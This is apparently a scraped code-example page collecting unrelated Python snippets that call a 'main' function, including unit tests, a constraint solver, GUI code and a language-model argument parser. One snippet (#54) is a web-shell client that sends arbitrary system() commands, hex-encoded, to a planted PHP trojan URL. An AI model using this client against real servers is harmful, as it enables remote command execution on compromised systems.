Пример #50
0
import sys
sys.path.insert(0, '../')
from main import main

OWL_ALBUMS = ['Ocean Eyes', 'The Midsummer Station', 'Mobile Orchestra']

NAME = 'Owl City'

main(NAME, OWL_ALBUMS)
Пример #51
0
#!/usr/bin/env python3

import os
import sys

sys.path.append("src")
os.chdir(os.path.dirname(os.path.realpath(__file__)))

import main

main.main()
Пример #52
0
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from main import main

main(revisions=["issue549-base", "issue549-v1"])
Пример #53
0
 def test_type_dict(self):
     self.assertEqual(type(json.loads(main.main('Lyrics'))["characterizations"][0]),dict)        
Пример #54
0
        
        try:
            content=''
            cmd=raw_input(GREEN+'PHP_Shell>'+END)
            while(cmp(cmd,"q")):
                if cmd != "":
                    content  = 'system'+'('+'"'+cmd+'"'+');'
                    content  = binascii.b2a_hex(content)
                    postdata = urllib.urlencode({
                        password:content})
                    req = urllib2.Request(
					url = url,            								#木马url地址
					data = postdata,
					headers = headers
					)
                    response = urllib2.urlopen(req).read()
                    print response
                    cmd = raw_input(GREEN+'PHP_Shell>'+END)
                else:
                    cmd = raw_input(GREEN+'PHP_Shell>'+END)
        except Exception,e:
            print e       
    def exploit(self):
        self.payloads()


#下面为单框架程序执行,可以省略
if __name__ == '__main__':
    from main import main
    main(PLScan())
Пример #55
0
 def test_json(self):
     self.assertEqual(type(main.main('Lyrics')),str)
Пример #56
0
# h, w = (d2.shape[0], d2.shape[1])
# new_height = 400
# new_width = round( new_height/h*w )
# d2 = cv2.resize( d2, (new_width,new_height))
# 
# st.image(d2)
# =============================================================================



# =============================================================================
# Process image
# =============================================================================
try:
    d = main( img_filepath  = create_filepath(im_name, 'original', type = 'file'  ),
              save_filepath = create_filepath(im_name),
             )
except:
    'Sorry, an unexpected error occured.'
    overlay_image = cv2.imread( create_filepath(im_name, 'depth_overlay', type = 'file') )
    overlay_image = cv2.resize( overlay_image, (round(new_width*1.2),round(new_height*1.2)))
    st.image(overlay_image)
# =============================================================================
# Load processed image
# =============================================================================
image_depth = cv2.imread( create_filepath(im_name, 'depthimage2', type = 'file') )
#image_depth = cv2.resize( image_depth, (new_width,new_height))
#overlay_image = cv2.imread( create_filepath(im_name, 'depth_overlay', type = 'file') )
#overlay_image = cv2.resize( overlay_image, (round(new_width*1.2),round(new_height*1.2)))

Пример #57
0
    p_choice = 1  # int(input('[1] n queens \t [2] map filling'))
    print('choose the algorithm')
    s_choice = 1  #int(input('[1] backtrack \t [2] forward'))

    if p_choice == 1:
        """n_queens"""
        variables = ['Q' + str(i) for i in range(8)]
        domain = list(range(1, 9))
        result = [0] * 8
        p = csp(domain, variables, result, p_choice)
        if s_choice == 1:
            if not p.backtrack_solve(0):
                print('there\'s no solution')
            p.print_solution(8)

            main_program.main(p.final_result)

        elif s_choice == 2:
            forward_domain = []
            for i in range(8):
                forward_domain.append(list(range(1, 9)))
            if not p.forward_solve(forward_domain, 0):
                print('THERE\'S NO SOLUTION')
            p.print_solution(8)

    elif p_choice == 2:
        """map filling"""
        variables = ['WA', 'NT', 'Q', 'NSW', 'V', 'SA', 'T']
        domain = ['R', 'G', 'B']
        result = [0] * 7
Пример #58
0
from main import main

if __name__ == '__main__':
    main(mode=1)
                   font='Helvetica 26 bold',
                   relief="ridge")
    Label2.config(height=2, width=100)
    Label2.grid(row=0, column=0)
    Label2.pack(fill=X, padx=30, pady=10)

    separator = Frame(height=2, bd=1, relief=SUNKEN)
    separator.pack(fill=X, padx=30, pady=10)

    Button2 = Button(Bottomframe, text="Open File", command=openfile)
    Button2.grid(row=10, column=10)
    Button2.pack(side=BOTTOM)

    w = 1000
    h = 420

    ws = root.winfo_screenwidth()
    hs = root.winfo_screenheight()

    x = (ws / 2) - (w / 2)
    y = (hs / 2) - (h / 2)

    root.geometry('%dx%d+%d+%d' % (w, h, x, y))
    root.mainloop()


if __name__ == '__main__':
    if len(sys.argv) > 1:
        main.main(sys.argv[1], sys.argv[2])
    process()
Пример #60
0
def run(*argv):
    import argparse
    import time

    from utils import Storage
    from pathlib import Path

    parser = argparse.ArgumentParser(
        description='A language model with transformer decoder.')
    args = Storage()

    parser.add_argument(
        '--name',
        type=str,
        default=None,
        help=
        'The name of your model, used for tensorboard, etc. Default: runXXXXXX_XXXXXX (initialized by current time)'
    )
    parser.add_argument('--restore',
                        type=str,
                        default=None,
                        help='Checkpoints name to load. \
			"NAME_last" for the last checkpoint of model named NAME. "NAME_best" means the best checkpoint. \
			You can also use "last" and "best", by default use last model you run. \
			Attention: "NAME_last" and "NAME_best" are not guaranteed to work when 2 models with same name run in the same time. \
			"last" and "best" are not guaranteed to work when 2 models run in the same time.\
			Default: None (don\'t load anything)')
    parser.add_argument('--mode',
                        type=str,
                        default="train",
                        help='"train" or "test". Default: train')

    parser.add_argument('--tf_size',
                        type=int,
                        default=256,
                        help='feature size of transformer')
    parser.add_argument('--tf_hidden_size',
                        type=int,
                        default=512,
                        help='hidden size of mlp in transformer')
    parser.add_argument('--n_heads',
                        type=int,
                        default=4,
                        help='number of heads in transformer')
    parser.add_argument('--n_layers',
                        type=int,
                        default=5,
                        help='number of layers in transformer')
    parser.add_argument(
        '--input_droprate',
        type=float,
        default=0.1,
        help=
        'the droprate(the probability to be zeroed) of input embedding in transformer. 0 indicates for don\'t use dropout'
    )
    parser.add_argument(
        '--droprate',
        type=float,
        default=0.25,
        help='The probability to be zeroed. 0 indicates for don\'t use dropout'
    )
    parser.add_argument('--batch_size',
                        type=int,
                        default=256,
                        help='number of sample in a batch')

    parser.add_argument(
        '--decode_mode',
        type=str,
        choices=['max', 'sample', 'gumbel', 'samplek', 'beam'],
        default='samplek',
        help=
        'The decode strategy when freerun. Choices: max, sample, gumbel(=sample), \
			samplek(sample from topk), beam(beamsearch). Default: samplek')
    parser.add_argument(
        '--top_k',
        type=int,
        default=10,
        help='The top_k when decode_mode == "beam" or "samplek"')
    parser.add_argument(
        '--length_penalty',
        type=float,
        default=0.7,
        help=
        'The beamsearch penalty for short sentences. The penalty will get larger when this becomes smaller.'
    )
    parser.add_argument('--temperature', type=float, default=1)

    parser.add_argument(
        '--dataid',
        type=str,
        default='resources://MSCOCO',
        help='Directory for data set. Default: resources://MSCOCO')
    parser.add_argument('--epoch',
                        type=int,
                        default=100,
                        help="Epoch for training. Default: 100")
    parser.add_argument('--batch_per_epoch',
                        type=int,
                        default=500,
                        help="Batches per epoch. Default: 500")
    parser.add_argument(
        '--wvid',
        type=str,
        default="resources://Glove300d",
        help=
        "Directory for pretrained wordvector. Default: resources://Glove300d")

    parser.add_argument(
        '--out_dir',
        type=str,
        default="./output",
        help='Output directory for test output. Default: ./output')
    parser.add_argument(
        '--log_dir',
        type=str,
        default="./tensorboard",
        help='Log directory for tensorboard. Default: ./tensorboard')
    parser.add_argument(
        '--model_dir',
        type=str,
        default="./model",
        help='Checkpoints directory for model. Default: ./model')
    parser.add_argument(
        '--cache_dir',
        type=str,
        default="./cache",
        help='Checkpoints directory for cache. Default: ./cache')
    parser.add_argument('--cpu', action="store_true", help='Use cpu.')
    parser.add_argument('--debug',
                        action='store_true',
                        help='Enter debug mode (using ptvsd).')
    parser.add_argument(
        '--cache',
        action='store_true',
        help=
        'Use cache for speeding up load data and wordvec. (It may cause problems when you switch dataset.)'
    )
    parser.add_argument('--seed',
                        type=int,
                        default=0,
                        help='Specify random seed. Default: 0')
    parser.add_argument('--lr',
                        type=float,
                        default=1e-3,
                        help='Learning rate. Default: 0.001')
    cargs = parser.parse_args(argv)

    # general setting
    args.name = cargs.name or time.strftime("run%Y%m%d_%H%M%S",
                                            time.localtime())
    args.restore = cargs.restore
    args.mode = cargs.mode
    args.out_dir = cargs.out_dir
    args.log_dir = cargs.log_dir
    args.model_dir = cargs.model_dir
    args.cache_dir = cargs.cache_dir
    args.debug = cargs.debug
    args.cache = cargs.cache
    args.cuda = not cargs.cpu

    ## dataset settings
    args.dataid = cargs.dataid
    args.tokenizer = "space"
    args.max_sent_length = 50
    args.convert_to_lower_letter = False
    args.min_frequent_vocab_times = 10
    args.min_rare_vocab_times = 0
    args.wvid = cargs.wvid

    ## training settings
    args.epochs = cargs.epoch
    args.lr = cargs.lr
    args.batch_size = 128
    args.batch_num_per_gradient = 1
    args.grad_clip = 5
    args.show_sample = [0]  # show which batch when evaluating at tensorboard
    args.checkpoint_steps = 20
    args.checkpoint_max_to_keep = 5

    ## arguments for restoring checkpoints
    args.restore_optimizer = True
    load_exclude_set = []
    restoreCallback = None

    ## architecture settings
    args.batch_per_epoch = cargs.batch_per_epoch
    args.embedding_size = 300
    args.tf_size = cargs.tf_size
    args.tf_hidden_size = cargs.tf_hidden_size
    args.n_heads = cargs.n_heads
    args.n_layers = cargs.n_layers
    args.input_droprate = cargs.input_droprate
    args.droprate = cargs.droprate

    ## decoding settings
    args.decode_mode = cargs.decode_mode
    args.top_k = cargs.top_k
    args.length_penalty = cargs.length_penalty
    args.temperature = cargs.temperature

    ## random seed
    args.seed = cargs.seed

    import random
    random.seed(cargs.seed)
    import torch
    torch.manual_seed(cargs.seed)
    import numpy as np
    np.random.seed(cargs.seed)

    from main import main

    return main(args, load_exclude_set, restoreCallback)